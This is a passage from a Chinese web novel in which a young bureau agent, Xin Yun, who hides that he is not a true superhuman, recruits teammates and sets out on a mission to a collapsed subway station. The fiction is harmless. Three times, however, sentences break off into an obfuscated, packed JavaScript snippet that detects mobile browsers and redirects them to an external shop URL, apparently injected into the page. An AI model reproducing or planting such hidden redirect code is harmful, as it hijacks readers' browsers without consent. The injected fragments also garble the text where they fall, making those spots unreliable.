H国的制服统一黑色主调,红色点缀,浮空大楼里的特殊灯光会把特制衣料的底色从黑照成白,不出任务时大家穿的都是常服,两者基础版型相似,只是比起作战服,常服多了衬衫领和领带,武装带上也有执行局的金属徽章,更偏向美观。 “你外套是不是披错了。”子车回随口问。 忻昀低头一看,还真是。 东南西北四局的标志不同,按方位对应青龙白虎朱雀玄武,中流区和国际执行联盟统一,用十字星代表。 他胸口和腰带上的小徽章都是抽象猫猫头,外套上却是一只鸟。 东流的白虎和北流的朱雀。 估计太困拿错了。 “不要紧,”他说着,一手推开门,“先进去汇报吧。” 深夜的会议室里白色灯光明亮,驱散了困意,长桌周围坐满了人,从参会人面前平板上密密麻麻的记录来看,这场会议显然已经进行了一段时间。 刘部站起来,引他们到一旁靠边的椅子上先入座旁听。 能深夜紧急召开会议,事件严重程度可想一般。 被从睡梦中喊起来的不止忻昀一支小队,还有受困的正式队伍,那名视野员和忻昀遥遥对视一眼,算打过招呼,交汇的视线一分离,视野员便偏过头,他身边的人小声说了句什么话。 说完,那人望向忻昀,目光灼灼。 忻昀才发现,那名被他逼着放弃了电脑的青年竟然也在场。 他不该被后勤送去非公民安置所吗,怎么会出现在执行局里…… “好了,白天亲身进入酒店的三方齐了,接下来你们依次派代表说一下在酒店里遇到的情况吧。” “重点讲和榕树有关的部分。” 坐在会议桌次座上的男人开口。 他就是执行部的部长,开完会后听说区内出事,连夜从中流区回来了。 正式小队的队长自觉地第一个发言,他描述了初入酒店时观察到的景象和榕树困住他们的过程,严格意义来说他们其实都没接触到树的本体,只是被树根捆住了,因此,他的发言里其实提取不到什么有用信息。 部长听完,没说什么,示意下一个人继续。 接下来是那名青年。 青年站的是普通受害人视角,他讲话更有条理,不疾不徐,听上去很舒服,忻昀看了眼墙壁上的钟,同样的信息量,比上一个人用的发言时间少一半。 可惜,执行部部长看上去还是没听到想要的。 轮到忻昀。 他连腹稿都没打,想到哪句说哪句,下面的人大多听得皱眉,不过执行部长没什么反应,大概是猜到他讲不出有用的话。 说完后,忻昀想了想,反问了他们一句:“榕树出事儿了?” 因为这句话,首座上的人抬头看了忻昀一眼。 刘部长替他紧张得吸了口气。 王局的视线在他的脸上停留了两秒,又落到他外套别着的小朱雀身上。 “老高的侄子?忻昀?” 忻昀一笑:“是我,王局好。” 和执行部长一起赶回的东流总局局长终于在会议上说了第一句话,底下的人齐齐屏息,只见他拿过遥控器按了两下,投影仪启动。 刘部长关了灯,很快,王局身后的墙壁上投映出画面。 斑驳的光落在忻昀脸上,他微微眯眼,看到的正是任务结束时,榕树夕阳下乱舞的一幕。 一下秒,画面切换。 凌晨一点四十二分,无人机实时监控。 王局定定看着忻昀:“酒店废墟里的榕树凭空消失了。” 画面中心,断壁残垣间,参天大树已然消失,月光所及之处,只留下一个深不见底的巨坑。 “说说,你觉得它为什么会消失。” 5. 执行局 被这棵大榕树亲手从身上剥离出来的藤蔓慌张得乱抖,好像问的是它为什么会消失。 忻昀面不改色,其实被小藤弄得有点痒,想笑。 “我不知道。” “可能秋天到了,东流区的水土和阳光条件不满足它的生长需求,想换个地方待待,干脆就跑了吧。” 合乎植物天性的猜测。 王局示意他坐下。 后面他又点了几个人,问了相同的问题。 这场会没继续开多久就散了,散场后,他嘱咐忻昀“最近大区间信号不通畅,等好点了替我向你叔叔问好”。 忻昀应下。 再往后的事情,不是他们这种刚入局的执行员该管的了。 哪怕是复勘现场,也自会有异能等级更高的老手执行员去做,对于新人小虾米,最重要的还是赶紧把队给组好,尽快接手底层任务分担局内压力。 忻昀第二天一起床,就去找了班鸠和子车回。 他们在员工休闲中心的一楼集合。 执行局是由一座座漂浮的玻璃大楼组成的建筑群。 休闲中心位于边缘,在其中不太起眼,但内部设施丰富全面,它面向的服务对象主要是工作压力最大的执行部、后勤部和科研部员工。 只是近来变异种暴动频繁,大家都没空休息,原本热闹的休闲中心日渐冷清。 这反倒让它成了一个适合谈话议事的地方。 子车回告诉忻昀她昨晚没怎么睡着,闲着也是闲着,于是花时间从他给的名单上挑了几个人,发消息联系,约好今早面谈组队的事情,位置选在了这里。 她用忻昀北流区转区执行员和自己海选赛第一的身份当噱头,联系的人几乎都答应了见面。 “我挑的人只代表我个人意见,你们可以看看,不满意我就直接拒绝。” 她的备忘录上写好了要问对方的问题,又提前点了水果和咖啡,办事风格诠释尽了“周全”二字。 忻昀拿了颗蓝莓丢进嘴里,很是感慨。 他觉得子车回比他这个当队长的还认真。 班鸠不是坐得住的人,陪他们见了一个人就跑上楼玩儿去了。 忻昀和子车回忙活一上午,一共见了三个人。 有队内一票否决权在,三个全被拒了,忻昀拒绝了一个,子车回拒绝了一个。 班鸠远程拒绝了一个。 子车回不禁怀疑起是面谈方法错了还是他们真的太挑。 人走远了,她还在反思。 “我感觉刚刚那个人可以呀,信息员对身体素质的要求不高。”她左想右想不对劲,给班鸠打电话,“你对人家不满意的理由是?” 班鸠那边有开汽水的声音:“如果我说,他长得不够好看,你信吗?” 子车回:“?” 班鸠:“我选队友卡颜。” 比第一次任务穿高跟鞋更离谱的事到底还是在这个奇葩身上发生了。 旁听的忻昀示意子车回松手,温柔地接过联络器:“你在哪里。” 班鸠:“三楼吧台,怎么了?”他好像听到了给枪下保险的动静。 忻昀:“来送你去选秀。” 本来要生气的子车回反而冷静下来,抱住他一只手阻止他起身:“别冲动。” 眼看准队友是真生气了,班鸠才意识到自己玩脱,求着别挂通讯老实托出:“我错了嘛开玩笑的真错了……诶呀你们还记得刚才和那个人聊到为什么从上个队伍脱离出来,他说了什么吗?” 忻昀握联络器的力度松了些:“异能升级后产生了变化,原本队友间相安无事的能力突然有了冲突?” “是哇。” “虽然人类才研究异能五年,但有些现象用原本发现的自然规律是可以解释的,那个人说和他出现排斥的队友异能和德尔塔元素、也就是迫使全世界生物进化的罪魁祸首异素有关……你们两个也该知道自己的异能里最重要的部分是什么吧。” “‘异种亲和’忻昀,和‘异素锁定’子车回?” 忻昀挂断通讯。 子车回垂目:“班鸠说的是对的,我刚刚疏忽了这点。” 下午还安排约见了三个人,子车回提议午饭也在休闲中心解决算了。 午饭时间,两人就这件事聊了起来。 忻昀从见到子车回的第一面起就很在意她的异能,现在她愿意主动提起,当然不能放过这个机会:“我之前只知道你的异能是感官系,可以用来追踪变异种,原来它的全名是‘异素锁定’吗?” “再好听的名字也只是科研部给的称呼,异能者和变异种的身体里都有异素,只是执行员只对付变异种,所以说起来我的异能就是变异种追踪器咯。” 要组成小队一起工作,了解彼此的异能是必不可少的一步。 子车回对忻昀的异能也很感兴趣,既然是互相介绍,她不介意先说:“你来看了海选赛决赛对吧,赛道上的最后一重障碍,瞻星蛙、也叫玻璃蛙,进化后身体透明的部分增加了很多,肉眼不好观察,让班鸠栽了个跟头。” “我是靠异能看清它真正的位置的,像这样。” 子车回开启了异能。 她的虹膜变成了血红色,倒映出忻昀的身影,看着很唬人。 忻昀顿了一下,问:“你看到什么了?” 他很在意子车回眼里的自己是什么样的。 可以通过机器检测的人类身体,会在异能的审视下露出马脚吗? 如果她能发现他不是异能者…… 子车回盯着忻昀看了很久,久到他的开始紧张。 不会真的有什么异样吧。 子车回关闭了自己的异能,眼睛恢复成正常状态:“没什么,你身上的异素含量比较高,盯久了有点刺眼,我随身带了眼药水,对了,你耳朵上那个是变异种?” 忻昀暂时松了口气,端起柠檬水喝了一口,搬出在北流区用过的说辞:“有‘异种亲和’这个异能,异素高点也正常,小绿是我刚觉醒异能时在地面捡到的一截藤蔓,和我的意识绑定了,它很傻,挺亲人的,偶尔还能帮我和变异种对话。” “小绿,”子车回念了一遍,忍不住吐槽,“好土的名字。” 其实忻昀根本没给藤蔓起过名,每和人解释一遍都要换个新名字。 这次更名小绿的藤蔓用子车回听不懂的语言嘤嘤哭泣。 它也觉得土。 他们的话题又绕回到了异能和异素上。 这便不得不提到目前最流行的假说。 曾经有人做了个很形象的比喻,他说异能是一件陶艺品,陶艺品的拥有者是天灾之下幸运获得进化的异能者,异能者本身就具备捏胚和想象艺术品造型的能力,天灾历练只是烧制成型的过程。 而突然出现被命名为德尔塔元素的新能量——简称异素,就是陶土。 关于这股能量从何而来,以人类目前的检测技术一直无法给出准确解释,只知道能捕捉到的异素都是以辐射的方式传播。 有关异素的研究是中流区在负责,中流区工作人员的嘴向来严实,五年来没有透露出一点消息。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261220|198031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 民间的说法就五花八门了。 有人说是外星来客散播了异素,有人说异素一直藏在细胞里,只是被天灾激发……一众假说里,听上去最可靠、流传也最广的还是“地本说”。 五年前地壳变动,地面上出现了很多裂缝,H国境内分割出五大区的“流”就是其中最大的几道裂隙。 异素原本藏在地底,也可能更深,藏在地心,人类在地表的过度开发让这颗星球产生了一道道裂缝,损坏了可以阻挡能量辐射的特殊岩层,才让异素泄露出来。 “这和臭氧层损坏,紫外线辐射增强一个道理。”子车回用勺子搅着汤。 忻昀面前的东西几乎一口没动,但他并不感到饥饿。 “搬来天空后,太阳辐射也更强了。”他说。 怎么没晒死人类呢。 “是啊,不过人们在了解异素之前,先掌握了使用异素的方法,科研者利用异素支撑起了天空中的城市,也用异素抵挡了紫外线。” 一道陌生的声音插入了忻昀和子车回之间的谈话。 忻昀诧异地看过去。 穿着科研部人员标配的白大褂的青年礼貌询问:“我对你们在聊的内容很感兴趣,可以加入吗?” 是在榕树酒店获救、凌晨会议出现的普通人。 他看出了忻昀的疑惑,扯了一下胸前的参观证,笑着解释:“我是受邀来参观的,科研部长想请我加入执行局。” 参观证上标了使用者的名字。 允冬尽。 忻昀摩挲着杯身,说:“我们也只是随便聊聊,你不介意的话请坐吧。” 允冬尽坐在忻昀身边,卡座上的人数再次恢复三人。 短时间内多次见到允冬尽让人很难对他不好奇,子车回问:“科研部长邀请?” “嗯,说来很巧,我在榕树酒店觉醒了异能,这位……会议上我听到是叫忻昀,应该没记错吧?”他看了一眼忻昀,“他在酒店找到我的时候,我刚察觉到身体的异样,没来得及确认就被带出去了。” “后来找医务人员进行了检测,的确是觉醒了。” “我的异能对最近科研部遇到的麻烦正好有用,所以部长提出了邀请,希望我留下来帮忙。” “这样啊……”子车回更好奇了,“那,你方便透露你的异能是什么吗?” “和磁场有关,科研部还没做具体命名。” 忻昀握杯子的手一僵。 磁场……科研部在修复通讯。 他可不希望大区间的通讯这么快修好。 执行局极少放人参观,看来允冬尽的异能真的很重要,难不成能对抗磁暴稳定通讯? 不妙,虽然他做了准备,但北流区的事越迟暴露越有利。 他动了歪心思,反正都是加入执行局,允冬尽现在也是异能者了,去哪个部门不是去。 忻昀开口:“要不……” “我回来啦!” 班鸠离得老远就朝这边喊,手里还拎着赔罪用的两瓶汽水。 “看看我给你们带了什么……我靠!!!!!” 在看清忻昀身边的人是谁的一瞬间,他条件反射地朝后退了一步,漂亮的脸惊得花容失色,如遭雷劈。 “允冬尽!!!” 允冬尽淡定打招呼:“嗨。”。 班鸠好像看到了什么很恐怖的东西,成天伪音说话的人连声线都夹不住了:“你们怎么把他招来了不会是背着我面试他来当信息员吧……不许,忻昀我不允许!!!队伍里有他没我,有我没他!!!” 6. 执行局 班鸠遇到允冬尽,就像一大块钠被扔进湖里。 当场炸了。 忻昀探究地在两人中间看来看去:“你们两个认识?” 班鸠往子车回身边愤愤一坐:“谁和他认识!” 允冬尽摊手,陈述事实:“父母有生意来往,小时候见过几面。” 原来是旧相识。 “昨晚你在会议上出现的时候我当没看见你,怎么现在还贴上来了,我真不理解,就你从小到大这个破体格,老老实实待在西流区不好吗?非来执行局干嘛?” 班鸠滔滔不绝,允冬尽笑着没说话。 子车回好心提醒:“你误会了,人家觉醒了异能,而且是秦部长邀请他来参观科研部的,没打算和我们组队。” 班鸠大声道:“觉醒了也不行啊他没训练过……哦不组队,那算了。” 他拧开原本打算给忻昀的那瓶汽水,郁闷地闷了一大口。 允冬尽像是为了故意呛他,慢吞吞补充:“是被邀请来参观科研部的,但这么巧,碰见老朋友,换个部门也不是不可以……” “噗——” 班鸠喷了允冬尽一脸汽水。 后者接过忻昀好心递来的纸巾,慢条斯理地擦干净脸。 眼看班鸠又要单方面和允冬尽吵起来,子车回咳嗽了两声,她试图提醒他们还有服务生在旁边,也希望忻昀别光顾着看乐子了,适当阻止一下。 可惜她是唤醒不了不存在的良知的。 忻昀乐得看他们两个针锋相对。 正好,省得他绞尽脑汁想用什么理由请允冬尽入队了,理由自己来了。 “所以说,你们三个是新一批入职的执行员,正在找最后一个队友,凑齐四个人上面才能批准正式开始工作?”允冬尽摸清事情的大概,似乎真替他们考虑了起来,“我愿意相信执行局强行规定队内固定四个位置作战是有道理在的,但每个队的人不同,作战风格不同,面试了三个人都不满意,恕我直言,你们真的商讨过队伍需要什么样的信息员吗?” 班鸠:“反正不需要你。” 子车回:“咳咳咳咳!” 允冬尽:“行。” 很快,有科研部的人来找允冬尽,把他带走继续参观去了。 忻昀这边也要准备下午的面见。 子车回不太满意班鸠没礼貌的表现,不愿意搭理他,餐桌上的氛围降到冰点,忻昀却对此无知无觉,只不过在接待信息员候选人的时候,有点心不在焉。 能剩到现在的人,几乎都有致命缺点,要不就是脾气实在难相处。 他还是不太想将就。 接待一结束,忻昀先行离开。 走出休闲中心,他点开联络器,执行部长给新一届执行员拉了个群,又给每位预备队长发了私信。 明天中午前完成组队的队长来会议室开会,会议内容除了队长需要知道的局内常识,还有新一次的任务分配。 隐藏台词:没组完的就暂时闲着,继续找队友,找完再来吧。 要开始接新一轮任务了。 忻昀将联络器收回口袋。 他必须接到这次的任务,把进度拉到最快才行。 执行局内,执行部的升职路径是独立于其他部门之外的。 它只看执行员做出了多大的贡献,贡献的判断,自然是完成了多少任务、多难的任务,积攒到多少功勋点。 功勋点足够,就可以升往中流区。 有榕树酒店的任务铺垫,只要明天中午按时参加,等完成新任务,他们小队的功勋一定能在同期中拔得头筹。 这么大的优势,叫他怎么舍得放弃? 不知不觉中,忻昀到了执行部大楼门前。 他沉思两秒,毫不犹豫地调转方向,朝隔壁科研部走去。 从一楼显示科研部各楼层实验室使用状态的大屏幕上,忻昀看到了一个正在使用中但没标注使用者的实验室,允冬尽不是正式员工,内部系统贴不出访客的名字,他断定允冬尽就在那里,搭电梯上了楼。 没想到抵达实验室门口,有人比他先一步来找允冬尽。 “我听得出来,你那句换部门,不是纯粹为了气我才说的吧?” 是班鸠的声音。 忻昀背靠墙,站在门外,无视掉走廊上来往科研部员工奇怪的目光,偷听两人的对话。 “是啊。”允冬尽的语气很轻松,似乎这只是个小事。 “可以顺便告诉你,我中午是特意来休闲中心找你们的。” “你疯了?!”班鸠听上去有些破防,“好好的有钱少爷不当,非要来执行局干脑袋别在裤腰带上的活,你不是喜欢搞发明吗,你去啊!去干什么不比来执行部强!” “我是和家里吵了一架后离开西流区的。” 允冬尽轻飘飘一句话,把班鸠压得哑口无言。 里面传出玻璃器皿碰撞的细小动静,他一边做着显色实验,一边和班鸠聊天:“你知道,我在家里是个多余的人,他们看不惯我,正好,我也看不惯他们,分开对双方都好,至于在哪落脚,安不安全……对我来说无所谓。” “我答应来执行局,只是因为遇到了引起兴趣的东西,当然,这个东西不是你。” 他的最后一句话彻底激怒了班鸠,班鸠丢下一摞诸如“你爱死死,死我面前我也不会替你收尸”的难听话,施展空间移动在实验室中消失。 忻昀不知道他是怎么隔着一扇门品出班鸠看似气焰嚣张实则落荒而逃的。 他也不知道,很快,慌张的人要多加一个自己。 班鸠走了,他没有躲着的必要,大大方方地出来,允冬尽看到他主动找过来,有些微的惊讶:“忻昀?来找我有事吗?” “所以,入队,考虑一下?” 允冬尽把试管放回试管架上,双插进实验服的口袋。 “你在邀请我加入你的小队?” 忻昀抱臂:“当然。” 对方看起来很开心的样子,说出的话却出乎忻昀意料。 “不该是你来请我的,应该是我去求你。” “我本来就打算做完这个实验去找你的,不知道刚刚我和班鸠说的话你从哪句开始听到,但现在我可以和你说,让我感兴趣到想要来执行局的人,其实是你。” 每个人觉醒异能时的表现是不一样的。 子车回觉醒时被家人以为眼睛出了问题,拉去医院看病,班鸠则被困在一个陌生的空间里,逃脱后才知道这是自己的异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261221|198031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能。 允冬尽的症状,是对周围的电流有朦胧的感知。 起初,他以为这是他在逃亡过程中出现的幻听。 后来在使用自己从家里带出来的电脑的过程中,他才明白过来自己似乎迎来了“觉醒”。 在榕树酒店落脚的几天里,他不停尝试探索自己的新能力。 直到忻昀破窗而入,落在他身边。 生物电是电的一种。 他好像感知到了一点……在普通人类身上没有的电流。 忻昀干笑:“哈哈,是这样啊。” 先是来了个子车回,拥有看见异素的能力,后面又来了个允冬尽,说感知到了他身上不一样的东西。 具体是什么还说不上来!要进一步接触! 他在北流区待了一年没见过一个能针对他的异能者,来了东流区,全凑上来了。 东流区不该是他的大本营吗,怎么看着有点克他? 不行。 克不死他的就要为他所用! “那正好,我们彼此需要,留在我身边吧。” “到你发现那种声音究竟是什么为止。” 异能会随着拥有者的一次次使用越来越强,他们是否能发现他的秘密,是个未知数,忻昀彻底想通了,最危险的地方就是最安全的地方,与其把这两个临炸弹放在外面,不如埋在身边。 他可以慢慢模糊他们的认知,最终,拔除那根引爆线。 忻昀和允冬尽短暂地握了一下手,意味着一场合作的达成。 “不过,没有经过执行员训练是不争的事实,不靠科研部帮助,你有办法成为正式员工吗?” 忻昀的想法是,训练他们三个可以慢慢给允冬尽做,现阶段的任务也不难,着重保护他的话出不了大意外,自己在北流区就是这么过来的,拿下身份最重要。 实在不行,他用北流区那边的势力压一压,硬挤个身份给允冬尽好了。 允冬尽给了他一个放心的笑容:“这点不用担心,既然决定来,我就有办法。” 忻昀:“那你的办法是?” 允冬尽卖了个关子。 “明天你就知道了。” —— 第二天中午,忻昀自信满满地去开会了。 他来的偏早,空位多,于是随便选了个位子坐下,坐在他斜对角的人自他进来后一直有意无意地往这边张望,见他落座,干脆趁着人没来齐,换到他旁边。 忻昀不明所以:“……你是?” 他什么时候变得这么招人喜欢了。 “我叫黎既明,班鸠之前来找过我,想喊我加入你的队伍。” 这么一说忻昀想起来了:“是你啊,你好。” 黎既明毫不掩饰八卦的眼神:“我还在想你们最后会找什么样的人入队呢,没想到捞了个这么大的……忻昀是吧,昀队啊,好本事啊!” 忻昀:“??” 早睡又让他错过什么了? 黎既明瞧他满脸茫然,打开了自己的内部论坛,给他看最上面的一条帖子。 【西流区知名企业跨区壕捐三个月物资和九位数科研资金,竟是为了送儿子来执行部受苦!HOT】 忻昀:“???” 7. 执行局 末世后,社会秩序混乱、文明倒退都是不可避免要经历的。 人类的反应速度很快,最黑暗的日子已经是过去时了,货币体系得以重建。 因此现在,钱,是有用的。 忻昀自己很少用到钱,但九位数是个什么分量,他还是知道的。 何况还要加上足以支撑执行部活动三个月的物资…… 黎既明:“你是真会选人啊!” 忻昀:“哈哈。” 其实根本笑不出来。 砸钱这条路子看起来直接有效,但绝对是下下策。 如今军队解散,执行局处在一线位置,无论内部如何,至少表面讲究公平,挑人用比赛机制层层筛选就是为了这两个字,高局长当时破例招他,他私底下受了不少执行员的白眼。 允冬尽进执行部还不是偷偷摸摸的,能上论坛帖,已经人尽皆知。 执行部不怕被其他人知道,那说明,这个人在招收待遇上有很大问题。 不止忻昀和黎既明,周围的人也在小声聊天,大多在讨论这件事。 “安静,准备开会。” 常部长踩着点来了。 众人瞬间噤声。 “你们是各个小队的队长,手握指挥权,也肩负了保护队伍的责任,接下来我说的每一个字都至关重要……” 会议的内容忻昀在北流区学过一遍,他听得不是很上心,电容笔在指间打转,记录页面上一片空白,常部长说得差不多了,他才回过神,谁想一抬头,就被点了名。 “你们中间,忻昀已经带队出过任务了,他本身也是北流区转过来的执行员,我要和你们说的已经说完了,最后让他上来给你们分享点经验吧。” 稀稀拉拉的掌声响起。 黎既明很不怕死地吹了个口哨。 忻昀被迫上去,接过麦克风。 实战经验是光靠语言没法具体描述出来的东西,因此忻昀压根就没打算好好发言,他说了一堆假大空的话草草了事,本以为这样会议就可以结束了,没想到常部长还是要留他下来,单独问话。 这下他算明白了,东流区这个执行部长,在专门针对他。 “常部有什么事吗。”忻昀问。 “你们队没有提交名单,按规定你是没有参会资格的,”常部长说,“但今早,我接到了一通电话……允冬尽的父亲为他花钱买下了一个正式员工的名额。” “他是为了加入你的队伍才这么做的,你知道这件事吧?” “是。” “那你也该知道,执行局是个公平的地方,要是执行员的位置真能靠花钱买上来,那些在海选赛中被淘汰掉的异能者,我们又怎么给他们交代呢?” 忻昀捏紧了袖子。 “您直说吧,代价是什么。” “代价就是,接下来的所有任务里,执行部不会给允冬尽提供除制服和联络器外正式执行员应有的其他资源,包括武器弹药,以及救援。” “……什么?” 这下忻昀是真愣住了。 成为执行总局的正式员工,意味着执行员也是执行局资产的一部分。 能挽回的资产是要尽力挽回的,就像榕树酒店的救援任务,执行员遇难,执行部会综合各方面情况考虑后,派出救援。 而允冬尽,不会在这个考虑范围内了。 “他的父亲和我说的很清楚,允冬尽的命,算他倒贴钱卖给执行局,我们怎么使用都可以,不计牺牲,自然不会为他花多余资源。” “也就是说,需要对他的安全负责的,只有他的队长,你,一个人。” 常部长再次确认:“你确定要收他进队伍吗?换句话说,你负担得起一条人命吗?” “我……” “常部?您还在吗,我有事找您。” 常部长看忻昀在犹豫,对门那边道:“进。” 五分钟前离开的黎既明去而复返。 能让他这时候回来,只有一件事。 “常部,我知道提这个要求很冒昧,但……我可以申请和别的队伍交换任务吗?” 执行局的任务分为四个大类。 打扫、开拓、清剿、特殊。 其中,打扫是最简单的,只需要回地面上对已在执行局监控下的区域进行复查,记录几个数据回来上报给信息部。 这次给新手队伍们统一派发的就是打扫任务,区别仅在于打扫的地方不同。 黎既明小队分到的地点,是地铁站。 忻昀打开联络器,虽然他没来得及上报队伍信息,但任务已发送,他们队负责打扫一个住宅小区。 “给我理由。”常部长直视黎既明。 黎既明内心做了一番挣扎,最终老实交代:“是我们队信息员给我的建议,她说那里有危险,我们过去大概率会减员。” “她的异能,可以随机窥测到一点点未来。” 常部长对黎既明口中新手信息员的异能有印象,没有反驳他的理由。 “你换任务地点是为了规避危险,这次任务是根据海选赛排名综合出的队伍实力分的,排名越靠前的队伍拿到的任务危险系数越高。” 常部长意有所指。 “你们小队四个人分别是第三、第六、第十、第十二名,综合排名第一,才拿到了最危险的地铁站。” “我们是第一?!可海选赛第一第二不是去了同一支……” “我知道,排名不代表实力。” “所以,你不如问问昀队,他愿不愿意和你交换任务?” 忻昀和允冬尽是没有排名的,他们四个组队,直接把班鸠和子车回的排名拉没了。 黎既明这才意识到不对,哽住了,僵硬地转向忻昀。 “昀队,你……愿意吗?” 所有的选择都压到了忻昀一个人身上。 小藤从袖口爬出来,钻进他手里,蹭他微微潮湿的掌心。 忻昀浅浅吸了口气。 “我——” —— 半小时后,宿舍楼十二层。 班鸠站在1207房间门前:“这就是我们队的专属休息室啦?” 忻昀带着钥匙姗姗来迟。 “是的,以后除了宿舍和休闲中心,还可以来这里休息。” 允冬尽让开道,他上前开门。 除了钥匙,他手上还攥着陶部长给的团队工资卡和敲过章的队员上报名单复印件。 子车回看到上报单的一角上印了四个名字。 【队伍编号:E0217】 【队长:异种亲和——忻昀】 【输出手:空间掌握——班鸠】 【视野员:异素锁定——子车回】 【信息员:电学引导——允冬尽】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261222|198031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她有了队伍归属。 此刻,这件事有了实感。 第一次开锁成功,忻昀四人依次录入虹膜和指纹。 布置简单却干净的小房间展现在眼前。 最先录好的班鸠扑向沙发:“嘿嘿好软的靠枕,我喜欢这里,以后我要在这里多放几个衣帽架。” 跟着走进来的允冬尽不咸不淡道:“你要把这里当私人衣帽间用?” 说完,他被班鸠绊了一跤。 子车回和忻昀一起进来,问他:“中午的会发布新任务了?” “是,这也是我喊你们来这里集合的要说的,”他把更换后的任务信息发给了允冬尽,“那就拜托信息员来宣布队伍正式组建后接受的第一个任务。” 他把名单复印件丢到一边,在房间内唯一一个单人沙发上坐下,背挺得笔直。 允冬尽靠墙站着,清了清嗓子。 “这次的任务性质为打扫。” “目标,复核任务地点情况,记录数据,探查是否有非公民和变异种在该区域活动,发现情况及时上报信息部。” “任务地点名为东亭广场站,曾经的H国境内第四大地铁站,是连接三号线、七号线和十二号线的站点,原占地面积十五万平方米。” “因地震导致地铁站坍塌大半,站台和轨道隐藏在地面下,需要详细核查的死角偏多,信息部判定该任务对于E0217小队难度较大,希望小队执行过程中小心,如遇危险,及时撤退。” 信息部发任务很少带评语,除非真的有未测明的危险。 忻昀知道,这是参考了黎既明小队信息员异能的结果。 “哇哦!”班鸠语气里明显染上了兴奋,“忻昀!我们的任务是新人里最难的吗!” 他毫无隐瞒:“是啊。” “这还是我和隔壁队伍换来的呢。” …… 就在半小时前,他迎上了常部长和黎既明投来的两道目光。 “我来负责。” 不管是任务,还是允冬尽的命。 忻昀把藤蔓放回耳廓上,嘴角勾起不深的笑意:“既然高局派我是来给东流区的新人做榜样的,那怎么好让各位失望呢?” “我有没有证明实力和排名都是第一的能力,等这个任务结束,我们就可以见分晓了。” …… “今天时间太晚,不适合行动,我和后勤部预约了明天早上六点的直升机。” 能不能拔得头筹,成败在此一举。 忻昀志在必得,他愿意相信,这点小小的困难,对他而言是不在话下的。 至于尚且不知道底细的队友…… “第一次任务,你们有信心吗?” “当然啦昀昀——”班鸠凑过来和他击掌,“明天看我的吧!” “我们一定可以。”子车回说。 允冬尽虽然没说话,但也在微笑。 此时,他们四个还是信心满满的。 然而,天有不测风云。 天气预报误测,第二天早上下起了小雨。 后勤人员按时把人送到了任务地点周边。 乌云遮天,忻昀裹紧雨披在雨中走得磕磕绊绊,绕了一圈,最终,他站在一堆建筑废墟中间,看着联络器上自己和任务位置重合的红点,欲言又止。 “所以……地铁站的入口,在哪儿?” 8. 东亭地铁站(1) 老天爷一看就是个很擅长浇冷水的人。 不然怎么会又下雨、又让他们直接困在第一步。 “我相信现代科技,入口肯定在这里。” 班鸠不知道又从哪儿搞出了他的火箭炮,对准忻昀:“肯定是太久没派人来复查,石头和泥土重新把入口堵上了呗,你们看好,我就往这儿轰一炮……” 忻昀无语地用两根手指推开炮口:“你是来解决任务的还是来解决我的?” 班鸠:“解决你的。” “昀队,你来看看。” 一路上默不作声的允冬尽朝忻昀招招手,他捡起一根铁棍,等忻昀过来交给他。 他踩了踩脚下的土:“土不对劲。” 他们站的这块土上方有石头残骸掩盖,不细心发现不了这里比旁边略高一截。 忻昀接过铁棍拨动两下,很松,他立马联想到了信息部给的信息:“蚂蚁土?” 任务要求他们复核,复核的依据就是上一次来这片打扫的小队记录下的信息,上一支小队说他们杀了两只蚂蚁变异种,附近可能有变异蚁巢穴。 他让允冬尽退开些,自己动手,用铁棍开出一个小洞,打开联络器的手电功能往下照。 “看不太清,”忻昀半跪着往里看,“但有雨水滴落的声音,里面空间很大,是这没错了。” “别太多人集中站在一点,蚂蚁巢周围的土疏松,塌了容易惊动变异种,最好一个个下,谁先来?” 他反应了一秒,这话是白问的。 “视野员,你去。” 子车回检查过配枪,应下:“是。” 班鸠主动请缨:“我和回回一起去吧!我用空间异能带她,不会惊动变异种,两个人一起也安全点。” “批准。” 班鸠的异能被命名为“空间掌握”,顾名思义,他和一般空间系异能者最大的区别在于不专精于某方面、而是和空间有关的能力都会一点。 包括但不限于储存、瞬移、凝结、交换…… 多维度的异能,优势是后期发展空间很大。 最要命的缺点也显而易见,前期每一项功能都有限制,十分鸡肋。 譬如他最爱用的瞬移,像蚂蚁巢这种被泥土覆盖严实的地方,视线看不到,他就没法移下去。 硬要移会撞到土上。 黑暗环境中还不好落脚。 多带一个人正好能帮他解决这个问题。 子车回同时用自己的异能和手电帮班鸠排好视野,两人轻松落地,确定周围没危险后,她佩戴上耳麦。 忻昀把小滕从左耳上赶下去,原来的位子被耳麦占领,小滕只好委委屈屈地攀到他的右耳上。 “没有异常,可以下来。” “收到。” 